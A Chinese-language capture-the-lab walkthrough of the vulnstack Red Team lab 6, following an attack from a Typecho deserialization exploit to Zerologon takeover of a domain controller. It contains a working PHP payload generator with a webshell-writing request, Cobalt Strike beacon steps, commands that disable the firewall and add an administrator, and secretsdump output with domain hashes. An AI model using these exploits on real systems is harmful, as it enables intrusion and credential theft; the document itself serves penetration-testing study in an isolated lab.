万字讲解内网横向渗透vulnstack(六):红日靶场6实战全流程(CVE-2020-1472)

目录

一、渗透环境搭建

1、网络拓扑

2、角色表

3、网络搭建

(1)配置网卡

①编辑虚拟网络编辑器

② vmnet1网卡

(2)恢复快照

(3)配置ip地址自动获取

(4)查看ip地址

3、Web服务环境搭建

(1)获取phpstudy服务状态

(2)启动数据库

(3)新建数据库名为typecho

(4)重新下载typecho源码typecho

(5)安装typecho

二、信息搜集

三、Web服务(typecho)GetShell

1、发现服务为typecho

2、使用Typecho漏洞利用脚本上传木马

(1)反序号列化脚本生成

(2)上传木马

(3)访问脚本

(4)连接蚁剑

四、CS上线Web Baecon

1、cs生成baecon

(1)添加cs  http beacon监听

(2)生成木马Payload

2、通过蚁剑上传baecon文件2008-924.exe到服务器中

3、蚁剑中运行baecon文件2008-924.exe

4、cs上线win7系统的2008-924.exe

5、关闭防火墙

(1)查看防火墙配置

①域防火墙配置

②标准防火墙配置

③日志配置

(2)关闭防火墙

6、提权ms14-058(CVE-2014-4113)

(1)插件ms14-058提权

(2)cs上线system权限的win7会话

7、抓取明文密码

8、开启远程桌面

(1)查看远程桌面端口3389是否开启

(2)开启远程桌面

(3)开启后查询3389端口

(4)将de1ay\de2ay添加到管理员

五、远程登录de1ay\de2ay

1、远程登录

2、开启ew代理

(1)蚁剑上传ew

(2)ew开启代理

3、kali配置代理

六、CS上线de2ay用户会话并提权

1、CS上线win7.exe

2、ms14-058提权

3、抓取密码

(1)端口扫描

(2)nbtscan 10.10.10.10

七、生成DC的baecon

1、cs创建中转会话

2、生成基于dc-4444的baecon

八、zerologon渗透

1、安装依赖

(1)安装impacket

(2)安装zerologon

2、zerologon渗透

(1)探测漏洞

(2)置空密码

(3)打印哈希

(4)将win-dc的baecon投放到DC主机中

(5)PTH获取域控控制权限

3、CS上线baecon(administartor)

(1)执行win-dc.exe

(2)CS上线域控win-dc.exe

(3)CS执行命令

4、恢复域控密码

(1)恢复密码

(2)验证是否恢复密码


本文详细记录了红日靶场6从外网渗透到内网域控的完整攻击过程。攻击者首先利用Typecho反序列化漏洞在Web跳板机(Windows7双网卡)上获取初始立足点,随后通过Cobalt Strike建立控制通道。利用跳板机内网访问权限,发现存在Zerologon漏洞(CVE-2020-1472)的域控制器(10.10.10.10)。通过漏洞利用工具成功获取管理员哈希(dc044e0908498f7c475ae50bd70da92c),最终实现域控权限获取。整个过程涉及网络拓扑搭建、漏洞利用、横向移动、权限提升等关键技术,并包含详细的代码片段和命令记录。攻击完成后还演示了如何恢复域控密码以避免被发现。主要包括如下知识点:

  • 如何在不登陆管理员账户的情况下,搭建网络拓扑。
  • 修复Web跳板机的typecho环境,使其可以渗透进行getshell,并成功上线CS。
  • 如何开启远程桌面并成功添加管理员账户,并成功登录远程桌面。
  • 使用ew搭建跳板机代理,如何在kali配置代理访问内网。
  • 如何使用zerologon获取管理员账户的ntlm哈希值,获取到DC域控的权限。
  • 如果使DC域控上线CS,通过监听中转会话并创建baecon,实现最终上线。

一、渗透环境搭建

1、网络拓扑

CS服务器:Kali攻击机192.168.111.128(Vmnet8)

CS客户端:Windows11主机 192.168.111.1

Web跳板机:Vmnet8-192.168.111.80 Vmnet1网卡:10.10.10.80(Windows7,包含typecho)

内网渗透目标DC:Vmnet1-10.10.10.10(Windows Server 2012,zerologon漏洞)

  • 初始访问:攻击者从Kali (192.168.111.128) 开始,通过攻击Web跳板机上的Typecho应用(位于192.168.111.80),获取该主机的控制权。

  • 建立C2通道:在Web跳板机(192.168.111.80)上成功执行Payload,建立一个由CS客户端(192.168.111.1)通过CS服务器(192.168.111.128)控制的Beacon会话。

  • 内网横向移动:由于Web跳板机具有双网卡,可以直接访问内部网络(10.10.10.0/24)。攻击者利用此跳板进行内网侦察,发现域控制器(10.10.10.10)。

  • 权限提升与域控攻陷:攻击者利用域控制器上存在的Zerologon (CVE-2020-1472) 漏洞,通过跳板机做正向socks代理攻击DC,从而获取域管理权限,完成整个内网渗透目标。

​
graph LR
    subgraph "外部/攻击网络 (VMnet8)"
        A[CS客户端/攻击者<br>Windows 11<br>192.168.111.1]
        B[Kali CS服务器<br>192.168.111.128]
    end

    subgraph "内部/目标网络 (VMnet1)"
        D[域控制器DC<br>Windows Server 2012<br>10.10.10.10]
    end

    C[Web跳板机<br>Windows 7<br>网卡1: 192.168.111.80<br>网卡2: 10.10.10.80]

    B-->|网卡1 VMnet8|C
    C-->|网卡2 VMnet1|D

    A-.CS控制连接.->B
    B-.攻击流量.->C
    C-.内网横向移动.->D

    linkStyle 0 stroke:#ff0000,stroke-width:2px,stroke-dasharray:5 5
    linkStyle 1 stroke:#00aa00,stroke-width:2px
    linkStyle 2 stroke:#ff5500,stroke-width:2px
    linkStyle 3 stroke:#0000ff,stroke-width:2px

​

2、角色表

本次渗透测试环境包含四个核心角色:攻击方为运行CS团队服务器的Kali攻击机(192.168.111.128)及操作客户端Win11主机;目标网络则由兼具双网卡的Web跳板机(外网192.168.111.80/内网10.10.10.80)作为入口,其连接的内部域网络中最终渗透目标为存在Zerologon漏洞的域控制器DC(10.10.10.10)。本文的渗透攻击流为:CS客户端 -> CS服务端 (Kali) -> 目标跳板机 Beacon -> 内网横向移动 -> 攻击域控。每个设备的具体配置和角色功能如下表所示。

角色操作系统IP地址网卡描述
攻击者 (Kali)Kali Linux192.168.111.128Vmnet8 (NAT)Cobalt Strike团队服务器所在地,攻击发起点。
操作员 (Win11)Windows 11192.168.111.1物理网卡 (NAT)Cobalt Strike客户端,用于控制攻击。
Web跳板机Windows 7外部: 192.168.111.80
内部: 10.10.10.80
Vmnet8 (NAT)
Vmnet1 (Host-Only)
双网卡主机。外部可被Kali访问,内部连接域网络。是初始立足点。
域控制器 (DC)Windows Server 201210.10.10.10Vmnet1 (Host-Only)最终内网渗透目标,存在Zerologon漏洞。

其实红日靶场6还提供了一个linux设备,不过这个机器我开启后没有扫到任何端口号,而红日靶场6未提供任何密码,又因为本关卡的终极目标其实是获取域控权限,从Web服务器还需要修复来看,这个设备应该也是有些问题的,故而忽略即可。

3、网络搭建

(1)配置网卡

编辑虚拟网络编辑器

点击vmware-编辑-虚拟网络编辑器,进入到配置vmnet网卡的界面,如下所示。

vmnet1网卡

将vmnet1网段改为10.10.10.0/24,如下所示。

(2)恢复快照

将Web服务虚拟机恢复快照到3.2,如下所示。

输入用户名密码登录系统,web\de1ay | 1qaz!QAZ1qaz!QAZ。

进入后如下所示,可以看到系统中自动开启启动了phpstudy。

(3)配置ip地址自动获取

点击网络-配置-ipv4-属性,改为自动获得ip地址。

(4)查看ip地址

3、Web服务环境搭建

(1)获取phpstudy服务状态

界面如下所示,发现启动了phpstudy,网站状态正常,打开网站根目录,发现typecho网站。

Apache服务是正常的,但是数据库没有启动,这其实是不咋对的,因为typeto需要数据库才能正常启动。

使用http://127.0.0.1/typecho访问失败,报错database error。

http://127.0.0.1/typecho

(2)启动数据库

小皮工具启动mysql服务,并正确配置密码,重新访问typecho网页,但是数据库依旧错误。

接下来确认数据库文件配置是否正确,如下所示,config.ini 中数据库的配置文件的密码也是正确的。

此时我手动新下载navicat软件,首先在本地主机192.168.59.1搭建web环境,将安装包其放到网站根目录中。在web服务器的虚拟机环境中访问URL地址并下载,如下图所示。

http://192.168.59.1/navicat.zip

系统中没有压缩包软件,还要下载winrar解压缩软件,这意味着我还需要在主机的web服务根目录下除了放navicat.zip,还需要放weinrar.exe文件。

安装navicat数据库管理软件后,查一下是否有typecho这个数据库(上图中database=typecho提示数据库名为typecho),如下所示并未安装。

(3)新建数据库名为typecho

使用navicat新建一个数据库名typecho,配置如下所示。

(4)重新下载typecho源码typecho

原有代码编译有问题,删掉网站根目录下的整个typecho原有目录。下载新的源码(typecho.tar.gz),没错这一步中,需要现在主机192.168.59.1搭建的web服务根目录放typecho的源码文件typecho.tar.gz。

解压后放到网站根目录,将新的源码目录(build)重命名为typecho。

(5)安装typecho

访问http://127.0.0.1/typecho/install.php安装,具体如下图所示。

http://127.0.0.1/typecho/install.php

数据库密码填入默认密码root,管理员用户为默认的admin,密码admin,如下所示。

设置管理员的用户和密码,我这里都设置为admin和admin。

点击确认安装,如下所示安装成功。

访问首页,效果如下所示,从页面显示内容可知此Web网站是typecho框架。

注意完成比步骤后,务必拍摄快照留存,避免出现错误重新搭建环境。

二、信息搜集

nmap -sn 192.168.111.0/24  发现ip地址为192.168.111.80,如下所示。

nmap -sn 192.168.111.0/24 

对192.168.111.80进行常用端口探测,如下所示出现80和3306端口。

三、Web服务(typecho)GetShell

1、发现服务为typecho

访问192.168.111.80的80端口,使用web浏览器打开,完整URL地址如下所示。

http://192.168.111.80/typecho/

2、使用Typecho漏洞利用脚本上传木马

(1)Typecho反序列化漏洞

Typecho是一套轻量级的开源博客程序。2017年10月,其爆出了一个高危的前台getshell漏洞(反序列化漏洞),攻击者无需登录等验证便可能直接执行任意代码,获取网站控制权。

漏洞方面详细说明
漏洞类型反序列化导致的远程代码执行
影响版本Typecho < 0.9 (约在Git commit e277141c之前)
触发位置/install.php 页面
触发条件1. 能访问到 install.php
2. 请求中包含 finish 参数
3. Referer头来源为本站
攻击链反序列化 → Typecho_Feed::__toString() → Typecho_Request::__get() → call_user_func()
修复建议升级Typecho至最新版,或直接删除install.php文件

(2)反序号列化脚本生成

在网站根目录生成木马,使用如下php脚本生成反序列化字符串,关键代码为黄色背景:<?php @eval($_POST["ljn"]);?^>>ljn.php

<?php

    class Typecho_Request

    {

        private $_params = array();

        private $_filter = array();

        public function __construct()

        {

            $this->_params['screenName'] = 'echo ^<?php @eval($_POST["ljn"]);?^>>ljn.php'; // 执行的参数值

            $this->_filter[0] = 'system'; //filter执行的函数

        }

    }

    class Typecho_Feed{

        const RSS2 = 'RSS 2.0'; //进入toString内部判断条件

        private $_items = array();

        private $_type;

        function __construct()

        {

            $this->_type = self::RSS2;

            $_item['author'] = new Typecho_Request(); //Feed.php文件中触发__get()方法使用的对象

        $_item['category'] = array(new Typecho_Request());//触发错误

            $this->_items[0] = $_item;

        }

    }

    $exp = new Typecho_Feed();

    $a = array(

        'adapter'=>$exp, // Db.php文件中触发__toString()使用的对象

        'prefix' =>'typecho_'

    );

    echo urlencode(base64_encode(serialize($a)));

?>

执行在线php进行漏洞利用,如下所示。

生成的序列化字符串如下所示。

YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6Mjp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NDQ6ImVjaG8gXjw%2FcGhwIEBldmFsKCRfUE9TVFsibGpuIl0pOz9ePj5sam4ucGhwIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX1zOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjQ0OiJlY2hvIF48P3BocCBAZXZhbCgkX1BPU1RbImxqbiJdKTs%2FXj4%2BbGpuLnBocCI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJzeXN0ZW0iO319fX19czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjt9czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30%3D

(3)上传木马

URL地址:http://192.168.111.80/typecho/install.php?finish=

POST数据为生成的反序列化字符串,如下所示。

__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6Mjp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NDQ6ImVjaG8gXjw%2FcGhwIEBldmFsKCRfUE9TVFsibGpuIl0pOz9ePj5sam4ucGhwIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX1zOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjQ0OiJlY2hvIF48P3BocCBAZXZhbCgkX1BPU1RbImxqbiJdKTs%2FXj4%2BbGpuLnBocCI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJzeXN0ZW0iO319fX19czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjt9czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30%3D

bp抓包发送到repeater,增加referer后发送。

Referer:http://192.168.111.80/typecho

完整的burpsuite请求内容如下所示。

POST /typecho/install.php?finish= HTTP/1.1

Host: 192.168.111.80

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=ao9gftg8t4q05vo37aoadsf3fq

DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 793

Referer:http://192.168.111.80/typecho

__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6Mjp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NDQ6ImVjaG8gXjw%2FcGhwIEBldmFsKCRfUE9TVFsibGpuIl0pOz9ePj5sam4ucGhwIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX1zOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjQ0OiJlY2hvIF48P3BocCBAZXZhbCgkX1BPU1RbImxqbiJdKTs%2FXj4%2BbGpuLnBocCI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJzeXN0ZW0iO319fX19czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjt9czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30%3D

运行效果如下所示。

(4)Hackbar访问脚本

使用Hackbar访问脚本,POST的数据为ljn=phpinfo(); 

http://192.168.111.80/typecho/ljn.php
POST数据为ljn=phpinfo();

(5)连接蚁剑

http://192.168.111.80/typecho/ljn.php Pass: ljn

进入后文件系统效果如下所示,可以通过右键上传来upload 。

四、CS上线Web Baecon

1、cs生成baecon

(1)添加cs  http beacon监听

添加cs监听器,选择 payload 类型(Beacon HTTP),并配置回连的IP地址(团队服务器的IP地址: 192.168.111.128)和端口(10086任意不冲突即可)。

(2)生成木马Payload

payload 是将要投放到目标主机上的可执行文件,即Beacon代理。在菜单栏-有效载荷(P)的菜单下, 选择“Windows可执行文件(Stageless)”,如下图所示。

选择格式后,会弹出一个配置窗口,选择ljn-2008-http监听器。

这时监听器选择ljn-2008-http,输出格式windows exe,输出格式选择目标靶机win server2008匹配的的x64格式,点击生成后,会提示保存,将其保存并命名,这里我选择命名为mooyuan2008-2008-924.exe,保存到了f:/2008/目录中。

同样的方法再生成一个一样的文件win7.exe

2、通过蚁剑上传baecon文件2008-924.exe到服务器中

将木马baecon文件上传到C:/phpstudy/目录,如下图所示上传成功。

同时将win7.exe文件也上传到Web跳板机中。

3、蚁剑中运行baecon文件2008-924.exe

点击虚拟终端,进入到cs的载荷2008-924.exe的上传目录中,执行载荷,如下所示。

4、cs上线win7系统的2008-924.exe

通过冰蝎执行2008-924.exe后,查看cs,如下所示进程2008-924.exe在计算机名为win7的系统中,监听器为ljn-2008-http,内网ip地址为192.168.111.80,内网ip地址为10.10.10.10,结构为x64。

右键-会话交互-查看whoami,用户为web\de1ay。输入shell ipconfig显示共有两个ip地址,外网ip为192.168.111.80,内网ip地址为10.10.10.80。

5、关闭防火墙

(1)查看防火墙配置

netsh firewall show config命令用于显示当前系统的防火墙完整配置信息,包括各个网络区域的全局设置、允许的例外程序、开放端口以及服务状态等,为网络管理和安全审计提供了详细的策略概览。

netsh firewall show config

域防火墙配置

域 配置文件配置:

-------------------------------------------------------------------

操作模式                          = 启用

例外模式                          = 启用

多播/广播响应模式                 = 启用

通知模式                          = 禁用

域 配置文件的允许的程序配置:

模式     流量方向             名称/程序

-------------------------------------------------------------------

域 配置文件的端口配置:

端口   协议    流量方向              名称

-------------------------------------------------------------------

域 配置文件的 ICMP 配置:

模式     类型  描述

-------------------------------------------------------------------

启用       2     允许出站数据包太大

标准防火墙配置

标准 配置文件配置(当前):

-------------------------------------------------------------------

操作模式                          = 启用

例外模式                          = 启用

多播/广播响应模式                 = 启用

通知模式                          = 禁用

标准 配置文件的允许的程序配置:

模式     流量方向             名称/程序

-------------------------------------------------------------------

标准 配置文件的端口配置:

端口   协议    流量方向              名称

-------------------------------------------------------------------

标准 配置文件的 ICMP 配置:

模式     类型  描述

-------------------------------------------------------------------

启用       2     允许出站数据包太大

日志配置

日志配置:

-------------------------------------------------------------------

文件位置        = C:\Windows\system32\LogFiles\Firewall\pfirewall.log

文件大小上限    = 4096 KB

丢弃的数据包数  = 禁用

连接数          = 禁用

  • 日志文件位置:C:\Windows\system32\LogFiles\Firewall\pfirewall.log
  • 日志文件大小上限:4096 KB
  • 未记录丢弃的数据包和连接数(均为禁用状态)

(2)关闭防火墙

netsh advfirewall set allprofiles state off命令将立即禁用Windows防火墙的所有配置文件(域、专用、公用),使系统完全暴露于网络威胁中。执行后所有入站和出站连接将不受任何限制,所有网络端口对外可见,防火墙保护功能彻底失效。

netsh advfirewall set allprofiles state off

6、提权ms14-058(CVE-2014-4113)

(1)插件ms14-058提权

(2)cs上线system权限的win7会话

点击运行后cs上线新的baecon,如下所示。

执行shell whoami确定其为system权限,如下所示。

7、抓取明文密码

凭证提权-抓取明文密码,具体步骤如下所示。

发现了另一个用户名和密码de1ay\de2ay | 1qaz@WSX!QAZ2wsx。

8、开启远程桌面

(1)查看远程桌面端口3389是否开启

如下所示,当前Web跳板机并没有开启3389端口

(2)开启远程桌面

(3)开启后查询3389端口

如下所示,开启后再次查询3389是否开启,发现已经开启。

netstat -ano|findstr 3389

(4)将de1ay\de2ay添加到管理员

shell net localgroup Administrators "de1ay\de2ay" /add

五、远程登录de1ay\de2ay

1、远程登录

de1ay\de2ay | 1qaz@WSX!QAZ2wsx

如下所示,登录web服务所在的win7系统成功。

2、开启ew代理

(1)ew正向代理原理

ew的正向代理 是一种在已控跳板机(如Web服务器)上启动服务端并监听端口,然后攻击者从自己的客户端直接连接该端口的 socks 代理模式。它适用于跳板机拥有公网IP或位于边界、可直接访问的场景。其典型命令是服务端执行 ew -s ssocksd -l 12347 在本地开启1080端口,随后攻击者配置代理工具直接指向 <跳板机IP>:12347即可将攻击流量通过该跳板机转发至其所在的内.

(2)蚁剑上传ew

注意,此时上传三个文件,分别是ew_win32.exe,win7.exe(bacon,第三步骤(5)中生成)和nbscan.exe

(3)ew开启代理

ew_win32.exe -s ssocksd -l 12347

3、kali配置代理

修改/etc/proxychains4.conf文件,改为socks5 192.168.111.80 12347,这个ip地址填的是web服务器的vmnet8网卡的ip地址。

六、CS上线de2ay用户会话并提权

1、CS上线win7.exe

在远程桌面中打开typecho网站根目录,双击win7.exe,观察cs已经上线win7.exe。

2、ms14-058提权

如下所示,新上线564进程id的baecon为syetem账户,提权成功。

3、抓取密码

(1)端口扫描

发现存活主机为10和80,由于80是192.168.111.80的另一个网卡,故而目前同一网段仅包括10.10.10.10,如下所示。

[09/26 17:28:06] beacon> portscan 10.10.10.0-10.10.10.255 1-1024,3389,5000-6000 arp 1024

[09/26 17:28:06] [*] Tasked beacon to scan ports 1-1024,3389,5000-6000 on 10.10.10.0-10.10.10.255

[09/26 17:28:06] [+] host called home, sent: 93797 bytes

[09/26 17:28:07] [+] received output:

 Server Name             IP Address                       Platform  Version  Type   Comment

 -----------             ----------                       --------  -------  ----   -------

[-] Error: 6118

[09/26 17:28:07] [+] received output:

(ARP) Target '10.10.10.1' is alive. 00-50-56-C0-00-01

(ARP) Target '10.10.10.10' is alive. 00-0C-29-4E-20-BD

[09/26 17:28:13] [+] received output:

(ARP) Target '10.10.10.80' is alive. 00-0C-29-68-D3-69

[09/26 17:28:31] [+] received output:

(ARP) Target '10.10.10.254' is alive. 00-50-56-FF-06-F2

[09/26 17:29:27] [+] received output:

10.10.10.80:139

10.10.10.80:135

10.10.10.80:80

[09/26 17:29:28] [+] received output:

10.10.10.10:5985

10.10.10.10:636

10.10.10.10:593

10.10.10.10:464

[09/26 17:30:06] [+] received output:

10.10.10.10:389

[09/26 17:30:11] [+] received output:

10.10.10.10:88

10.10.10.10:53

10.10.10.10:445

10.10.10.80:445 (platform: 500 version: 6.1 name: WEB domain: DE1AY)

Scanner module is complete

[09/26 17:30:50] [+] host called home, sent: 1734 bytes

(2)nbtscan 10.10.10.10

通过蚁剑工具上传nbtscan,执行nbscan.exe 10.10.10.10.命令,发现10.10.10.10是域控主机,具体如下所示。

七、生成DC的baecon

1、cs创建中转会话

选中10.10.10.80的会话(system用户),右键选择代理转发-转发上线。

新建的转发监听,命名为dc-4444,监听地址选择10.10.10.10。

配置完毕后,监听列表增加了我们刚刚配置的监听,如下所示。

2、生成基于dc-4444的baecon

生成的beacon保存为win-dc.exe,具体如下所示。

生成的beacon保存为win-dc.exe。

八、zerologon渗透

Zerologon(CVE-2020-1472)的惊人危害根植于Netlogon协议一个致命的密码学实现缺陷。该协议在认证过程中使用AES-CFB8模式时,错误地允许客户端使用全零的初始化向量(IV)。这一设计使得攻击者能够伪造一个同样全零的客户端凭证,并由于加密链的反馈特性,导致校验值在特定情况下(概率高达1/256)与服务器预期匹配,从而无需任何真实凭证即可通过认证。攻击者通过数次至数百次连接尝试,便能在几分钟内成功将自己验证为域控制器本身,进而执行重置域控机器账户密码等高危操作,最终完全接管整个Active Directory域,其利用之简单与后果之严重使其成为史上最危险的Windows漏洞之一。

1、安装依赖

(1)安装impacket

Impacket是一个专注于提供对网络协议进行低级编程访问的Python类库集合,它使安全研究人员能够无需关注底层协议细节即可直接构造和解码网络数据包。该库被广泛用于各类网络攻击工具的开发,例如票据传递、SMB/MSRPC客户端实现、WMI查询等,是内网渗透测试中执行横向移动、凭证窃取和远程命令执行的核心利器。其经典工具包括psexec、secretsdump和wmiexec等,极大地提升了红队行动的效率。攻击机安装impacket,具体步骤如下所示。。

pip install pyOpenSSL==24.0.0 -i https://pypi.tuna.tsinghua.edu.cn/simple/ --trusted-host pypi.tuna.tsinghua.edu.cn

sudo apt install python3-impacket

cd impacket

sudo python setup.py install  

(2)安装zerologon依赖

Zerologon 是一个用 Python 编写的 CVE-2020-1472 (Zerologon) 漏洞利用工具库。它核心实现了利用 Netlogon 协议中的加密弱点(IV全零)来绕过身份验证的逻辑。该库通常包含漏洞检测和利用脚本,能直接攻击域控制器,将其机器账户密码重置为空,是安全研究人员用于测试和内网渗透的强大利器。

cd zerologon

sudo pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple/

2、zerologon渗透

(1)探测漏洞

命令使用 proxychains -q 在指定代理(如Socks)下安静地执行 python zerologon_tester.py DC$ 10.10.10.10,其目的是通过代理网络隐蔽地对IP为 10.10.10.10 的域控制器(DC$ 是计算机名)进行Zerologon漏洞检测,以验证该高危漏洞是否存在。

proxychains -q python zerologon_tester.py DC$ 10.10.10.10

┌──(root㉿kali)-[/home/kali/Desktop/ok/zerologon-master]

└─# proxychains -q python zerologon_tester.py DC$ 10.10.10.10

Performing authentication attempts...

========================================================================================================================================================================================================================================================================================================================================================================================================================

Success! DC can be fully compromised by a Zerologon attack.

(2)置空密码

命令利用 proxychains -q 通过代理链隐蔽地执行 set_empty_pw.py 脚本,目标是IP为 10.10.10.10 的域控制器(DC$ 是计算机名)。此操作旨在利用Zerologon漏洞,将目标域控制器的机器账户密码重置为空,为后续完全控制域控、获取域管理权限奠定决定性基础。

proxychains -q python set_empty_pw.py DC$ 10.10.10.10

┌──(root㉿kali)-[/home/kali/Desktop/ok/zerologon-master]

└─# proxychains -q python set_empty_pw.py DC$ 10.10.10.10

Performing authentication attempts...

===============================================================================

NetrServerAuthenticate3Response

ServerCredential:              

    Data:                            b'\x8c\xf2\xe2AA\xde\x80\xa5'

NegotiateFlags:                  556793855

AccountRid:                      1002

ErrorCode:                       0

server challenge b'\x8c5\xafy\xabq\xe7\xde'

NetrServerPasswordSet2Response

ReturnAuthenticator:           

    Credential:                    

        Data:                            b'\x01N\xa3\x0f\x0c\xb3\xd2]'

    Timestamp:                       0

ErrorCode:                       0

Success! DC should now have the empty string as its machine password.

(3)打印哈希

命令通过 proxychains -q 在代理环境下,使用Impacket工具包中的 secretsdump.py 脚本,并指定 -no-pass 和 -just-dc 参数,利用之前Zerologon漏洞已将域控制器(DC$)密码置空的条件,无需密码即可从 10.10.10.10 远程提取 de1ay 域中的所有域账户哈希值,从而完成对整个域的凭证窃取。

proxychains -q secretsdump.py -just-dc -no-pass de1ay/DC\$@10.10.10.10 linux系统)

┌──(root㉿kali)-[/home/kali/Desktop/ok/zerologon-master]

└─#  proxychains -q secretsdump.py -just-dc -no-pass de1ay/DC\$@10.10.10.10

Impacket v0.13.0.dev0+20250717.50134.1f00d556 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)

[*] Using the DRSUAPI method to get NTDS.DIT secrets

Administrator:500:aad3b435b51404eeaad3b435b51404ee:dc044e0908498f7c475ae50bd70da92c:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

krbtgt:502:aad3b435b51404eeaad3b435b51404ee:82dfc71b72a11ef37d663047bc2088fb:::

de1ay:1001:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::

de1ay.com\mssql:2103:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::

de1ay.com\de2ay:4603:aad3b435b51404eeaad3b435b51404ee:20ac739fa9e91f8f8162197a319f3a2a:::

DC$:1002:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

PC$:1105:aad3b435b51404eeaad3b435b51404ee:87b71eb6ab1859756e7d59ba97dd900b:::

WEB$:1603:aad3b435b51404eeaad3b435b51404ee:7b935b2945a2f1f4582e38790e5c1f93:::

SERVER$:3603:aad3b435b51404eeaad3b435b51404ee:0bf031b95106885709424f9517b424b1:::

[*] Kerberos keys grabbed

Administrator:aes256-cts-hmac-sha1-96:615c973aed5a4c42dff372448da71c1dd36f1aeab89be895a5175a1e4aa88932

Administrator:aes128-cts-hmac-sha1-96:f40754264543a0fefd77615f0e382638

Administrator:des-cbc-md5:a83873d623a18391

krbtgt:aes256-cts-hmac-sha1-96:42e65a58c000dab8d353b1ff2bee93383f27f0966767afa8c1f32fc51122d118

krbtgt:aes128-cts-hmac-sha1-96:5eb13d2a0e1f4980c3e3810d5da3da4f

krbtgt:des-cbc-md5:79c8dc79fe467552

de1ay:aes256-cts-hmac-sha1-96:22df3e763a8d931afea3c8ca499d7d9b7474248b2bf69deac58418f5c6ac899d

de1ay:aes128-cts-hmac-sha1-96:d0f0c418eb1a4c4a13227ed06b56a8fc

de1ay:des-cbc-md5:5b375d8a1016d613

de1ay.com\mssql:aes256-cts-hmac-sha1-96:6dd445adefa385cc6484e2a8c8952be5da579a3664395d3d729c7e577a8b8009

de1ay.com\mssql:aes128-cts-hmac-sha1-96:047129868012d63377c7f3ee61a16999

de1ay.com\mssql:des-cbc-md5:94bf7f5476298957

de1ay.com\de2ay:aes256-cts-hmac-sha1-96:7268ec8bcacd16fc3d3b91087121657aff416a7d2a206f87ede14be60bc9739f

de1ay.com\de2ay:aes128-cts-hmac-sha1-96:6fd8457d7fd0dcfaa29053e5339f8e75

de1ay.com\de2ay:des-cbc-md5:d09bbf54cdd9157f

DC$:aes256-cts-hmac-sha1-96:29f6a21d200df44d9da2c97116366221413e9df069b0b18280edda219be2bf5e

DC$:aes128-cts-hmac-sha1-96:51d30bc397120a95fa66c429dbf9c010

DC$:des-cbc-md5:04f40d04da3df154

PC$:aes256-cts-hmac-sha1-96:21401b7e81184c9c100befa0d16db18ad69a0fe30c2992c17d87b54c048d9267

